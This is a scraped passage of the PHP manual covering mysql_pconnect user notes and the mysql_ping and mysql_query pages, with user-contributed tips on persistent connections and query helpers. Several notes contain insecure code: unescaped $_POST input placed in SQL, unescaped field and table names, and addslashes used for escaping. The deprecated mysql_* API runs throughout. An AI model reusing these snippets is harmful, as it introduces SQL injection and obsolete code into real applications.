It appears the persistent connection mysql_pconnect() was returning had timed out and mysql_pconnect() didn't detect it. To address this issue I added some code to check for this case using mysql_ping() and request another connection from mysql_pconnect() if this situation occurred. It appears that the combination of the checking for the time out with mysql_ping( ) and re-requesting the connection with mysql_pconnect( ) either caused the original connection to re-connect or forced mysql_pconnect() to recognize that the connection had timed out and request a new one. The documentation for mysql_ping( ) says that it will force a re-connect if it detects a timeout, however comments on the documentation page mention that this feature has been disabled for some time. Anyways here is the code I used, hope it helps:

$dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );

if ( !mysql_ping( $dbConnection ) )
{
   $dbConnection = mysql_pconnect( $myHostname, $myUsername, $myPassword  );
}
Tom 28-Dec-2009 02:43
Persistent connections work well for CGI PHP managed by fastCGI, contrary to the suggestion above that they only work for the module version. That's because fastCGI keeps PHP processes running between requests. Persistent connections in this mode are easily made immune to connection limits too, because you can set PHP_FCGI_CHILDREN << mysql's max_connections <<< Apache's MaxClients. This also saves resources.
David 26-Sep-2009 10:45
Right after I upgraded to PHP 5.3 I started getting "MySQL server has gone away" errors on almost every other page request from the apache server. I tried a few ideas that didn't work. Here is the solution: I changed all my mysql_pconnect() statements to mysql_connect(). It fixed the problem. For some reason PHP 5.3 does not like persistent connections.
david at hundsness dot com 11-Sep-2008 07:44
Here's a recap of important reasons NOT to use persistent connections:

* When you lock a table, normally it is unlocked when the connection closes, but since persistent connections do not close, any tables you accidentally leave locked will remain locked, and the only way to unlock them is to wait for the connection to timeout or kill the process. The same locking problem occurs with transactions. (See comments below on 23-Apr-2002 & 12-Jul-2003)

* Normally temporary tables are dropped when the connection closes, but since persistent connections do not close, temporary tables aren't so temporary. If you do not explicitly drop temporary tables when you are done, that table will already exist for a new client reusing the same connection. The same problem occurs with setting session variables. (See comments below on 19-Nov-2004 & 07-Aug-2006)

* If PHP and MySQL are on the same server or local network, the connection time may be negligible, in which case there is no advantage to persistent connections.

* Apache does not work well with persistent connections. When it receives a request from a new client, instead of using one of the available children which already has a persistent connection open, it tends to spawn a new child, which must then open a new database connection. This causes excess processes which are just sleeping, wasting resources, and causing errors when you reach your maximum connections, plus it defeats any benefit of persistent connections. (See comments below on 03-Feb-2004, and the footnote at http://devzone.zend.com/node/view/id/686#fn1)
JM 27-Apr-2008 06:16
If you get an error message which refers to a failure regarding /var/mysql/mysql.sock, try changing your php.ini so that mysql.default_socket=/tmp/mysql.sock
Sabyasachi Ruj 17-Aug-2007 10:00
If you are using mysql_pconnect(), and say the MySQL server has five persistent connection pooled for that client.

Now mysql_pconnect can return any one of them.

So, If you are expecting that mysql_pconnect will return always use the same persistent connection, that is not the case.

So, say you are executing after connecting with mysql_pconnect:

set @aa=6;

And in another page you have again done mysql_pconnect, and executed:

select @aa;

That will not necessarily return '6' as the result!

Because the second mysql_pconnect can take another persistent connection from that server's connection pool.
Nils Meyer nils at weiss-bescheid dot de 07-Aug-2006 03:03
Be careful when setting variables on a persistent mysql connection. Example:
// Set result charset to UTF8
mysql_query("SET SESSION character_set_results = 'UTF8'");

If another script reuses your persistent connection, it will also use the UTF-8 charset. This created a problem with typo3 and TemplaVoila, which reads serialized data from the database. The data is returned as UTF8, but the script expects latin1 and dies with a serialize error ("Template Object could not be unserialized successfully."). This problem is especially tricky because it works on some requests and crashes on others - because the variable is not set on all connections in the persistent connection pool.

A possible solution is to reset variables to their default value afterwards:
$ret = mysql_query("SHOW VARIABLES LIKE 'character_set_results'");
list($foo, $old_charset) = mysql_fetch_assoc($ret);
mysql_query("SET SESSION character_set_results = 'UTF8'");
// do some fancy utf8 stuff
// ..

// revert to old encoding
mysql_query("SET SESSION character_set_results = '$old_charset'");

or simply use mysql_connect(), as previously stated it makes more sense in most enviroments and there are less things to bother with   (like variables, transactions, temporary tables).
3ch0 20-May-2006 11:01
pconnect is preferred when you are using a remote database server on a major web site. mysql in particular stays happier with 1 open connection as opposed to 1000 connections a minute =)
Ron 15-Sep-2005 05:34
Here's a nifty little class which will load balance across multiple replicated MySQL server instances, using persistent connections, automatically removing failed MySQL servers from the pool.

You would ONLY use this for queries, never inserts/updates/deletes, UNLESS you had a multi-master situation where updates to any database serverautomatically replicate to the other servers (I don't know whether that's possible with MySQL).

Using this class, you get a connection to a MySQL server like this:
    $con = MySQLConnectionFactory::create();

Here is the class (you'll need to customize the $SERVERS array for your configuration -- note that you would probably use the same username, password and database for all of the servers, just changing the host name, but you're not forced to use the same ones):

<?php
class MySQLConnectionFactory {
    static $SERVERS = array(
    array(
        'host' => 'myHost1',
        'username' => 'myUsername1',
        'password' => 'myPassword1',
        'database' => 'myDatabase1'),
    array(
        'host' => 'myHost2',
        'username' => 'myUsername1',
        'password' => 'myPassword2',
        'database' => 'myDatabase2')
    );

    public static function create() {
    // Figure out which connections are open, automatically opening any connections
    // which are failed or not yet opened but can be (re)established.
    $cons = array();
    for ($i = 0, $n = count(MySQLConnectionFactory::$SERVERS); $i < $n; $i++) {
        $server = MySQLConnectionFactory::$SERVERS[$i];
        $con = mysql_pconnect($server['host'], $server['username'], $server['password']);
        if (!($con === false)) {
        if (mysql_select_db($server['database'], $con) === false) {
            echo('Could not select database: ' . mysql_error());
            continue;
        }
        $cons[] = $con;
        }
    }
    // If no servers are responding, throw an exception.
    if (count($cons) == 0) {
        throw new Exception
        ('Unable to connect to any database servers - last error: ' . mysql_error());
    }
    // Pick a random connection from the list of live connections.
    $serverIdx = rand(0, count($cons)-1);
    $con = $cons[$serverIdx];
    // Return the connection.
    return $con;
    }
}
?>
tomek at 3kropki dot pl 29-Dec-2004 06:36
Instead of use wait_timeout, you can set interactive_timeout to short period of time (for ex. 20 sec.) this is a lot better solution in apache + mysql environment than wait_timeout.

To know more about interactive_timeout - look to mysql documentation.
federico dot chiesa at tiscali dot it 20-Nov-2004 02:08
Be very careful when using persistent connections and temporary tables on MySQL: in MySQL, temporary tables are visible only to the currenct connection, but if you have a persistent connection the temporary tables will supposedly be visible to everybody sharing the same persistent connection. This can lead to major trouble. I suggest to use totally random temporary table names when using persistent connections to avoid major problems.
markunderscoreconnollyatacmdotorg 27-Oct-2004 07:59
I would like to comment on the post from dfischer at qualcomm dot com that proposes spanning transactions over multiple application invocations, in case someone is bold enough to try it.

I'll assume the table types being used are one of those that support transactions, such as InnoDB or BerkeleyDB.

First, there is a question of whether this would work at all.  To work at all, the transaction context would have to be preserved across all the invocations of the php code through the web server.  Reading the description of http://www.php.net/manual/en/features.persistent-connections.php maintaining transaction context would be at best a coincidence.  It would be interesting to find out that this does work on occasion and to understand the ramifications of such behavior.  If I happened to get your connection and my action was a cancel, your updates might be gone.

Second, if such a thing did work (occassionally or always), there would be performance implications as the underlying database managed transactions that were pretty much open-ended.  A few long-running transactions would likely eat up many resources in a short time and the likelihood of concurrency conflicts could rise.  If the mysql_pconnect behavior is to keep transaction open at the end of php processing, then it would probably be better to not define transactions when using mysql_pconnect. And, transactions that were never closed by code (user went out to lunch and got hit by a bus) could hold resources for quite some time (maybe until after rehab).

So, even if such a scheme COULD work, it is not a good idea.  The transaction should be committed or rolled back at the end of the user request processing.  This allows the DBMS to properly manage resource ultilization and keeps bad things from happening to good data.  If mysql_pconnect does not coordinate well with the transaction component of the database engine to always end a transaction at the end of processing a request, then mysql_pconnect should never be used where begin transaction is used.
dfischer at qualcomm dot com 07-Jul-2004 02:57
You also may consider using pconnect if you have transactions that span multiple pages. For example, in applications that I develop, I start a transaction on the moment I query selecting the data that the user plans on editing. I then commit the transactions after the user hits the submit button and the data is committed.

I cannot simply use mysql_connect as then the connection would be terminated at the end of the page and if I did not commit my transaction, it is automatically rolled back.
matt *at* roughest *dot* net 11-Mar-2004 05:18
Be very careful when using persistent connections on a machine running multiple mysql servers. You must specify the correct socket path, otherwise PHP will reuse connections irregardless of what server they are connected to. That is, it will see an open connection with matching parameters and use it, even if the connection is actually for a different server.
mightye (at) mightye (dot) org 04-Feb-2004 01:19
Normally you do NOT want to use mysql_pconnect.  This function is designed for environments which have a high overhead to connecting to the database.  In a typical MySQL / Apache / PHP environment, Apache will create many child processes which lie in idle waiting for a web request to be assigned to them.  Each of these child processes will open and hold its own MySQL connection.  So if you have a MySQL server which has a limit of 50 connections, but Apache keeps more than 50 child processes running, each of these child processes can hold a connection to your MySQL server, even while they are idle (idle httpd child processes don't lend their MySQL connection to other httpd children, they hold their own).  So even if you only have a few pages which actually connect to MySQL on a busy site, you can run out of connections, with all of them not actually being used.

In general use mysql_connect() for connecting to MySQL unless that connection takes a long time to establish.
aaryal at foresightint dot com 16-Jan-2004 12:25
don't use pconnect in a situation with MySQL running on one host but on multiple ports (a multiple database configuration). the connection pooling algo in php apparently only keys off of the host, username and password but not the port. therefore, if you use the same host, username and password but a different port, you might get a connection that is connected to a different port than the one you asked for.
spam at vrana dot cz 04-Nov-2003 07:53
Be warned if you use different parameters for mysql_pconnect() in different scripts on server: PHP can create single persistent connection for every set of parameters in each process up to mysql.max_persistent (PHP directive) per process. So even if you have MaxClients Apache directive set lesser then max_connections MySQL directive, you can easily get Too many connections MySQL error.

If mysql.max_persistent is set to other value than -1 (unlimited, default value), connections over this limit are silently denied, so use it with care.

Solution: For servers with potentially unlimited set of connection parameters, forbid persistent connection with mysql.allow_persistent=Off.
script_this at yahoo dot com 05-Aug-2003 08:41
in response to uthayakutty76 at yahoo dot com's
30-Jun-2003 12:31 post:

-----------------------------------------------------------
...The problem is that the connection to the MySQL
servers is interrupted very quickly or there is not
connection at all. We found out that when using the
domain of the server instead of "localhost" problems
occur.....
-----------------------------------------------------------

try setting the wait_timeout variable in my.cnf for
mysql very high so the connections aren't ever idle for
that amount of time.  ridiculous really, but it works for
localhost or remote database server where as the
localhost solution only works if the database is local i
think.
pulstar at mail dot com 18-Jul-2003 08:13
I had some problems when connecting to a remote server with mysql_pconnect and using the flag MYSQL_CLIENT_COMPRESS. Sometimes it connect, but many times it give me the error:
Warning: mysql_pconnect(): Unknown database 'XXXXX'

If you have the same problem, try using mysql_connect instead. It worked fine for me. The script will take a long to reconnect each time the page is reloaded, but it will transfer data with compression. This is a little more secure than to send plain data over the Internet and also more faster when transmiting large amount of data.
rochlin at centralpets dot com 13-Jul-2003 05:27
Do not use transactions (e.g. with InnoDB MySQL tables) with persistent connections.  If your script stops or exits for any reason, your transaction will be left open and your locks will be left on.  You have to reset MySQL to release them (so far as I can figure).   They won't ROLLBACK automatically on error, like they ought to.   When you restart the script, you'll get a new connection, so you can't rollback or commit for the previous script.   Any script with a start transaction, rollback, or commit SQL statement should use regular (not persistent) connections.   Seems like PHP ought to automatically issue a ROLLBACK on any open transactions when a script exits (error or otherwise) without a COMMIT.  ZEND's site has a brief blurb on this.  It's OK to mix/match so you use a persistent connection for the read stuff, but open a new regular connection conditionally (if you have to update, which is usually less often).
rudenko at id.com.ua 09-Apr-2003 04:15
You can solve problem with persistent connections setting directive mysql.allow_persistent = Off in php configuration file. The users whitch will try to create persistant connetion /mysql_pconnect()/ will be connected to db
with nonpersistant connection /mysql_connect()/

For more info see user notes at section Persistant Connections. http://www.php.net/manual/en/features.persistent-connections.php
--
http://www.id.com.ua Ilya Rudenko
amn -at- frognet.net 12-Mar-2003 07:45
Be careful using mysql_pconnect. If you are hosting on an ISP, they may frown upon you using multiple persistant mysql connections as this consumes resources for a longer period of time. If your script crashes, your connection can stay open for long periods of time. If there is a loop involved, you could accidently eat up all the available connections. That might be considered abuse by an ISP and you could get in trouble. Try using mysql_connect first instead. 90% of the time, a non-persistant mysql_connect call will do the trick just fine.
fate_amendable_to_changeNOSPAM at yahoo dot com 30-Oct-2002 12:58
To tell mysql_pconnect to connect to mysql on a port other than the default use a colon - eg

mysql_pconnect("127.0.0.1:4444", "user", "pass")

would connect to localhost on port 4444

(useful for ssh tunneling etc)
david at acz dot org 23-Apr-2002 08:41
You need to be VERY careful when using LOCK TABLES with persistent connections.  If the script terminates before the UNLOCK TABLES is executed, the the table(s) will stay locked, and very likely hang future scripts.  This is noted in a bug report, but is still not reflected in the documentation: http://bugs.php.net/bug.php?id=7634
bartek at bulzak dot com 26-Feb-2002 11:37
PHP 4.1.1 running with Apache under Linux doesn't seem to be doing all necessary flushing when handling persistant mysql connections. Try it out for yourself. Create a temporary table in a pconnect session, add rows (non unique), select/display and drop the table. Now reload your script multiple times, you will see that your results are not consistent, even though you are creating a new table everytime and dropping it..

I had my share of problems with pconnect and suggest you don't use it unless absolutely necessary. In that case make sure you test your results for consistency, especially when your queries involve temporary tables or mysql session variables.

Bartek Bulzak
aramos at lander dot es 07-Mar-2001 07:15
If your MySQL recive this error log: "Got an error reading communication packets" see this post: http://marc.theaimsgroup.com/?l=php-dev&m=97858932431876&w=2. This patch work property in 4.0.4pl1 (when httpd.conf have MaxRequestsPerChild non-cero)
sasha at mysql dot com 28-Apr-2000 06:43
If you need to close idle persistent connections, set a low wait_timeout in MySQL


Ping a server connection or reconnect if there is no connection

  • « mysql_pconnect
  • mysql_query »
  • PHP Manual
  • MySQL Functions
  • Ping a server connection or reconnect if there is no connection

mysql_ping

(PHP 4 >= 4.3.0, PHP 5)

mysql_ping — Ping a server connection or reconnect if there is no connection

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_ping()

Description

bool mysql_ping ([ resource $link_identifier = NULL ] )

Checks whether or not the connection to the server is working. If it has gone down, an automatic reconnection is attempted. This function can be used by scripts that remain idle for a long while, to check whether or not the server has closed the connection and reconnect if necessary.

Note:

Automatic reconnection is disabled by default in versions of MySQL >= 5.0.3.

Parameters

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

Returns TRUE if the connection to the server MySQL server is working, otherwise FALSE.

Examples

Example #1 A mysql_ping() example

<?php
set_time_limit(0);

$conn = mysql_connect('localhost', 'mysqluser', 'mypass');
$db   = mysql_select_db('mydb');

/* Assuming this query will take a long time */
$result = mysql_query($sql);
if (!$result) {
    echo 'Query #1 failed, exiting.';
    exit;
}

/* Make sure the connection is still alive, if not, try to reconnect */
if (!mysql_ping($conn)) {
    echo 'Lost connection, exiting after query #1';
    exit;
}
mysql_free_result($result);

/* So the connection is still alive, let's run another query */
$result2 = mysql_query($sql2);
?>

See Also

  • mysql_thread_id() - Return the current thread ID
  • mysql_list_processes() - List MySQL processes

User Contributed Notes

Doug 19-Apr-2010 05:24
This function *does not* attempt to reconnect at this time.  It only tells you whether or not you currently *are* connected.

To actually reconnect, you will have to implement this yourself in a wrapper class.
alext at marketdream dot com dot mx 29-Sep-2009 05:28
mysql_ping() is really helpful when you have this annoying error:

MYSQL Error 2006 Server has gone away

For CI users:
In 1.7.2 version of codeigniter, there is a function

$this->db->reconnect()

that uses mysql_ping() to reestablish the timed out connection.

This function is specially useful when developing social media sites that uses hundreds of connections to the db such asinserting or selecting.
luky37 03-Feb-2009 08:15
If you get 'error 2006: MySQL server has gone away' messages when running (really) long scripts, mysql_ping will help detecting the loss of the db-connection. This can happen, when 'wait timeout' is reached (MySQL default is 8 hours).
miro dot dietiker at md-systems dot ch 31-Aug-2007 08:32
When checking if a $resource works...
be prepared that mysql_ping returns NULL as long as $resource is no correct mysql resource.
<?php
$resource =NULL;
var_dump = @mysql_ping($resource);
# showing NULL
?>
This could be used to decide of a current $resource is a mysql or a mysqli connection when nothing else is available to do that...
dustin hawkins 31-Jul-2006 09:32
When using the mysql_ping command under php 5.1.2 and mysql 5.0, I was having problems with the auto-reconnect "feature", mainly that when the connection was severed, a mysql_ping would not automatically re-establish the connection to the database.

The connection to the DB is dropped when the time without a query excedes the wait_timeout value in my.cnf. You can check your wait_timeout by running the query "SHOW VARIABLES;"

If you're having problems auto-reconnecting when the connection is dropped, use this code:

<?php

$conn = mysql_connect('localhost','user','pass');
mysql_select_db('db',$conn);

if (!mysql_ping ($conn)) {
   //here is the major trick, you have to close the connection (even though its not currently working) for it to recreate properly.
   mysql_close($conn);
   $conn = mysql_connect('localhost','user','pass');
   mysql_select_db('db',$conn);
}

//run queries knowing that your connection is alive....

?>
cybot2000 at yahoo dot de 26-May-2005 01:44
It should be noted that mysql_ping() seems to reset the error message on the server.
I used it to check whether the connection was still alive before reading the error message via mysql_error() and it always returned an empty string. Upon removing the connection check everything worked.
vinicius at teracom dot com dot br 16-Mar-2004 04:35
Is important to remember that if your first connection to mysql don't works, mysql_ping will always return true! So, if you want to check if mysql is connected, first of all you must check if mysql_connect do not returns false and then you can begin to check mysql_ping.


Send a MySQL query

  • Â« mysql_ping
  • mysql_real_escape_string Â»
  • PHP Manual
  • MySQL Functions
  • Send a MySQL query

mysql_query

(PHP 4, PHP 5)

mysql_query — Send a MySQL query

Warning

This extension is deprecated as of PHP 5.5.0, and will be removed in the future. Instead, the MySQLi or PDO_MySQL extension should be used. See also MySQL: choosing an API guide and related FAQ for more information. Alternatives to this function include:

  • mysqli_query()
  • PDO::query()

Description

mixed mysql_query ( string $query [, resource $link_identifier = NULL ] )

mysql_query() sends a unique query (multiple queries are not supported) to the currently active database on the server that's associated with the specified link_identifier.

Parameters

query

An SQL query

The query string should not end with a semicolon. Data inside the query should be properly escaped.

link_identifier

The MySQL connection. If the link identifier is not specified, the last link opened by mysql_connect() is assumed. If no such link is found, it will try to create one as if mysql_connect() was called with no arguments. If no connection is found or established, an E_WARNING level error is generated.

Return Values

For SELECT, SHOW, DESCRIBE, EXPLAIN and other statements returning resultset, mysql_query() returns a resource on success, or FALSE on error.

For other type of SQL statements, INSERT, UPDATE, DELETE, DROP, etc, mysql_query() returns TRUE on success or FALSE on error.

The returned result resource should be passed to mysql_fetch_array(), and other functions for dealing with result tables, to access the returned data.

Use mysql_num_rows() to find out how many rows were returned for a SELECT statement or mysql_affected_rows() to find out how many rows were affected by a DELETE, INSERT, REPLACE, or UPDATE statement.

mysql_query() will also fail and return FALSE if the user does not have permission to access the table(s) referenced by the query.

Examples

Example #1 Invalid Query

The following query is syntactically invalid, so mysql_query() fails and returns FALSE.

<?php
$result = mysql_query('SELECT * WHERE 1=1');
if (!$result) {
    die('Invalid query: ' . mysql_error());
}

?>

Example #2 Valid Query

The following query is valid, so mysql_query() returns a resource.

<?php
// This could be supplied by a user, for example
$firstname = 'fred';
$lastname  = 'fox';

// Formulate Query
// This is the best way to perform an SQL query
// For more examples, see mysql_real_escape_string()
$query = sprintf("SELECT firstname, lastname, address, age FROM friends
    WHERE firstname='%s' AND lastname='%s'",
    mysql_real_escape_string($firstname),
    mysql_real_escape_string($lastname));

// Perform Query
$result = mysql_query($query);

// Check result
// This shows the actual query sent to MySQL, and the error. Useful for debugging.
if (!$result) {
    $message  = 'Invalid query: ' . mysql_error() . "\n";
    $message .= 'Whole query: ' . $query;
    die($message);
}

// Use result
// Attempting to print $result won't allow access to information in the resource
// One of the mysql result functions must be used
// See also mysql_result(), mysql_fetch_array(), mysql_fetch_row(), etc.
while ($row = mysql_fetch_assoc($result)) {
    echo $row['firstname'];
    echo $row['lastname'];
    echo $row['address'];
    echo $row['age'];
}

// Free the resources associated with the result set
// This is done automatically at the end of the script
mysql_free_result($result);
?>

See Also

  • mysql_connect() - Open a connection to a MySQL Server
  • mysql_error() - Returns the text of the error message from previous MySQL operation
  • mysql_real_escape_string() - Escapes special characters in a string for use in an SQL statement
  • mysql_result() - Get result data
  • mysql_fetch_assoc() - Fetch a result row as an associative array
  • mysql_unbuffered_query() - Send an SQL query to MySQL without fetching and buffering the result rows.

User Contributed Notes

deepakshahji at ymail dot com 27-Oct-2013 09:40
can any help me to connect mysql php with following code
<?php
$empname=$_POST['$name'];
$empid=10;
$ebp=2500;
$ta=12*$ebp;
echo $empname;
echo $empid;
$query ="INSERT INTO emp"(ID,NAME,BP,TA) "VALUES" ('$empid','$empname','$ebp','$ta')
$inserts=mysql_query($query);
if(!$inserts)
{
$message = 'INVALId query:' .mysql_error()."\n";
$message .= 'whole query' .$query;
die($message);
}
while($row = mysql_fetch_assoc($inserts))
{
echo $row["empname"];
echo $row["empid"];
echo $row["ebp"];
echo $row["ta"];
}
?>
<?php
  include("header.php");
?>
mwwaygoo at hotmail dot com 03-Apr-2012 11:16
I much prefer to use the same syntax for single INSERT, REPLACE and UPDATE queries as it is easier to read and keeps my code shorter (no seperate building of insert and update values)

INSERT INTO table SET x='1', y=3
UPDATE table SET x='2' WHERE y=3

So if your using a function to build your query, you will only ever need to code the "field=value, field2=value2" part for any query.
elephant 19-Jan-2011 05:49
you can speed up your query by using multiple insert simultaneously using this syntax:

"INSERT INTO table (id,box) VALUES (1,'box1'),(2,'box2'),(3,'box3')"
ddlshack [at] gmail.dot.com 20-Dec-2010 06:12
Use this to neatly insert data into a mysql table:

<?php
function mysql_insert($table, $inserts) {
    $values = array_map('mysql_real_escape_string', array_values($inserts));
    $keys = array_keys($inserts);

    return mysql_query('INSERT INTO `'.$table.'` (`'.implode('`,`', $keys).'`) VALUES (\''.implode('\',\'', $values).'\')');
}
?>

For example:

<?php

mysql_insert('cars', array(
    'make' => 'Aston Martin',
    'model' => 'DB9',
    'year' => '2009',
));
?>
Richie (at) RichieBartlett.com 28-Sep-2009 01:43
For those of you whom spent hours bashing your brains against the keyboard wondering why your non-English characters are output as question marks... Try the following:

<?php

$db = mysql_connect('YOUR_DB_ADDRESS','YOUR_DB_USER','YOUR_DB_PASS') or die("Database error");
mysql_select_db('YOUR_DB', $db);

//SOLUTION::  add this comment before your 1st query -- force multiLanuage support
$result = mysql_query("set names 'utf8'");

$query = "select * from YOUR_DB_TABLE";
$result = mysql_query($query);

//-THE_REST_IS_UP_TO_YOU-

?>

Simply run the query "set names 'utf8' " against the MySQL DB and your output should appear correct.
Anonymous 25-Jun-2009 05:18
When processing a RENAME TABLE query, PHP apparently always returns false, no matter if the query was successfully processed or not.
Andy McReed 01-Mar-2009 09:28
Even though executing multiple queries from one string isn't possible with the mysql_query method there is a way to do it which i found on this guys site (http://www.dev-explorer.com/articles/multiple-mysql-queries). Basically you just explode your SQL string by the semicolon (;) separating the queries and then loop through the resulting array executing each one individually. Saves you from having lines and lines of function calls in your code.
ialsoagree 31-Jan-2009 05:24
When you run a select statement and receive a response, the data types of your response will be a string regardless of the data type of the column.

<?php
// Query to select an int column
$query = 'SELECT user_id FROM users WHERE user_id = 1';
$result = mysql_query($query);
$array = mysql_fetch_assoc($result);

// Echoes: string
echo gettype($array['user_id']);
?>
girishpadia at gmail dot com 19-Jan-2009 08:01
Hello all,

I have extended mysql_query function to have more flexibility. It is a php file say "run_query.php". Include this file in your php application. To use this follow this steps.

1) Create a table in mysql with the following structure.

CREATE TABLE `errorlog` (
`query` varchar(5000) default NULL,
`error` varchar(5000) default NULL
)

2) Create a php file and paste following code. Save the file (say file name is run_query.php).

<?php
function mysql_query_($query)
{
    include "pass1.php";
    $curdate = date("d-m-Y H:i:s");
    if(mysql_query($query) == true)
    {
        if(substr(strtoupper($query),0,6) == 'INSERT' || substr(strtoupper($query),0,5) == 'UPDATE' || substr(strtoupper($query),0,5) == 'DELETE')
        {
            $fp=fopen("trans.sql","a");
            if($fp==null)
            {

                die("File cannot be opened. Try again !!!");
            }
            $printline = "/* $curdate : */ $query ;";
            fprintf($fp,"\r\n%s",$printline);
            fclose($fp);
            return true;
        }
        else
        {
            return mysql_query($query);
        }
    }
    else
    {
        $error = mysql_error();
        $error = addslashes($error);
        $query = addslashes($query);
        mysql_query("insert into errorlog values('$query','$error')");
        return false;
    }
}
?>

3) Include this file in your any php application.
4) Use mysql_query_ function instead of mysql_query function.

Advantages.

1) You can log query and error in your database table (errorlog).

2) A sql file created/appendended whenever any Data manipulation query is fired. So you can have a complete transaction log in query format.

3) This sql file will help you in "point in time recovery" in case of the database is crashed.

Your views ,comments and updation in this function are welcome.

girishpadia@gmail.com
Anonymous 19-Oct-2008 11:22
Relying in external functions doesn't help you in learning programming, that is calling external functions without having an idea of their use.

<?PHP
function mysql_queryf($string)
{
    $args = func_get_args();
    array_shift($args);
    $len = strlen($string);
    $sql_query = "";
    $args_i = 0;
    for($i = 0; $i < $len; $i++)
    {
        if($string[$i] == "%")
        {
            $char = $string[$i + 1];
            $i++;
            switch($char)
            {
                case "%":
                    $sql_query .= $char;
                    break;
                case "u":
                    $sql_query .= "'" . intval($args[$args_i]) . "'";
                    break;
                case "s":
                    $sql_query .= "'" . mysql_real_escape_string($args[$args_i]) . "'";
                    break;
                case "x":
                    $sql_query .= "'" . dechex($args[$args_i]) . "'";
                    break;
            }
            if($char != "x")
            {
                $args_i++;
            }
        }
        else
        {
            $sql_query .= $string[$i];
        }
    }
    return mysql_query($sql_query);
}
?>
lanbotdevman 22-Sep-2008 05:01
I modified a bit script originally posted by
ix at nivelzero dot ro
14-Aug-2005 01:07

This allows using large .sql files without getting 'memory size exhausted' error.

<?php
function parse_mysql_dump($url) {

    $handle = @fopen($url, "r");
    $query = "";
    while(!feof($handle)) {
        $sql_line = fgets($handle);
        if (trim($sql_line) != "" && strpos($sql_line, "--") === false) {
            $query .= $sql_line;
            if (preg_match("/;[\040]*\$/", $sql_line)) {
                $result = mysql_query($query) or die(mysql_error());
                $query = "";
            }
        }
    }
}
?>
Mr. Tim 18-Sep-2008 08:42
It should be noted that mysql_query can generate an E_WARNING (not documented).  The warning that I hit was when the db user did not have permission to execute a UDF.

Expected behavior would be like an Invalid SQL statement, where there is no E_WARNING generated by mysql_query.

Warning: mysql_query() [function.mysql-query]: Unable to save result set in filename.php

The mysql_errno is 1370 and the mysql_error is:

execute command denied to user 'username'@'%' for routine 'database_name.MyUDF'
i dot prasoon at gmail dot com 07-Aug-2008 05:07
The function formToDB($table, $exceptions = '', $sql_type = 'insert', $sql_condition = NULL) is not working properly. Problem with exceptional fields is there.

        I modified this function and now it is working properly. Here is the changed function -

function formToDB($table, $exceptions = '', $sql_type = 'insert', $sql_condition = NULL) {

  // define some vars
  $fields = '';
  $values = '';

  // format input fields into sql
  foreach ($_POST as $field => $value) {

    if (!strstr($exceptions,$field)) {

      $value = mysql_real_escape_string($value);
      if ($sql_type == 'insert') {

        $fields .= "$field, ";
        $values .= "'$value', ";
      }
      else {
        $fields .= "$field = '$value', ";
      }
    }
  }

  // remove trailing ", " from $fields and $values
  $fields = preg_replace('/, $/', '', $fields);
  $values = preg_replace('/, $/', '', $values);

  // create sql statement
  if ($sql_type == 'insert') {
    $sql = "INSERT INTO $table ($fields) VALUES ($values)";
  }
  elseif ($sql_type == 'update') {
    if (!isset($sql_condition)) {
      echo 'ERROR: You must enter a sql condition!';
      exit;
    }
    $sql = "UPDATE $table SET $fields WHERE $sql_condition";
  }
  else {
    echo 'ERROR: Invalid input for argument $sql_type: must be "insert" or "update"';
    exit;
  }

  // execute sql
  if (mysql_query($sql)) {
    return true;
  }
  else {
    //echo mysql_error();
    return false;
  }

}
pascalxusPLEASENOSPAM at yahoo dot com 21-Jul-2008 09:16
Here is an example of using the mysql_query in the context of connecting to a database.

<?php
  function connect( $dbName )
  {
    do {
      $databaseResponse = mysql_connect(
      "example.com", "username", "password" );
      sleep(1);
    } while( $databaseResponse === false );

    @ $selectResult = mysql_select_db( $dbName ) or dieFunc();
  }

  function executeQuery( $query, $db )
  {
      if( $db != "" ) connect( $db );
      else connect( "pascal_crm" );

      $result= mysql_query( $query );
      $err   = mysql_error();
      if( $err != "" ) echo "error=$err  ";
      mysql_close();
      return $result;
  }

?>
fernandoleal at loytek dot com 17-Jun-2008 12:28
Dunno if is it a bug but when you are working with replications servers and work with multiple databases queries if you don't select the database it will only insert,update,delete into the master and bypass the slave, I think it its because it doesn't insert the sql on the binary log so the work around its to just call mysql_select_db
MYSQL : 5.0.51a-log
PHP: 5.2.6
Example:
<?php
#Inserts only to master
$link=mysql_connect('host','user','pass');
$sql ="INSERT INTO mysql.host (host) VALUES ('localhost');"
var_dump(mysql_query($sql,$link));

#The Working Way Master - Slave
$link2=mysql_connect('host','user','pass');
$select_db = mysql_select_db('mysql', $link2);
var_dump(mysql_query($sql,$link2));
?>
uramihsayibok, gmail, com 13-Apr-2008 10:46
Similar to the queryf() posted by sk89q, I've found this small function quite handy.

Just please, please, PLEASE remember to escape your strings!
<?php

function mysql_queryf($query) {
    if (func_num_args()>1) {
        $args=func_get_args();
        $query=call_user_func_array("sprintf",$args);
    }
    return mysql_query($query);
}

// Allows for things like
$resultset=mysql_queryf("SELECT * FROM `table` WHERE `id`=%u LIMIT 1", $_GET["id"]);
// $_GET["id"] will be converted to an integer: 0 if it's invalid

?>
With a little modification it can handle a $connection resource too.
rogier 10-Apr-2008 03:55
For all you programmers out there getting the 'Command out of synch' errors when executing a stored procedure call:

There are known bugs related to this issue, and the best workaround for avoiding this error seems to be switching to mysqli.

Still, I needed mysql to also handle these calls correctly.
The error is normally related to wrong function call sequences, though the bug report at  http://bugs.php.net/bug.php?id=39727 shows otherwise.

For me, after commenting out hundreds of lines and several introspection calls to parse the procedure information (using information_schema and 'SHOW' extensions), I still got the same error.
The first result is returned, because I initiated my connection using the MYSQL_MULTI_RESULTS value of 131072 (forget this and you will never get any output, but an error message stating mysql cannot return results in this context)

After testing with this code (sproc2 simply calls 'SELECT * FROM sometable'), I found the error must be in the mysql library/extension. Somehow, mysql does not handle multiple resultsets correctly, or is at least missing some functionality related to handling multiple results.

<?php
    //...
    $rs = mysql_query('CALL sproc2(500)');
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);

    $rs = mysql_query('CALL sproc2(500)');
    print mysql_error(); //the notorious 'command out of synch' message :(
    while (($row=mysql_fetch_assoc($rs))!==false) {
        print_r($row);
    }
    mysql_free_result($rs);
?>

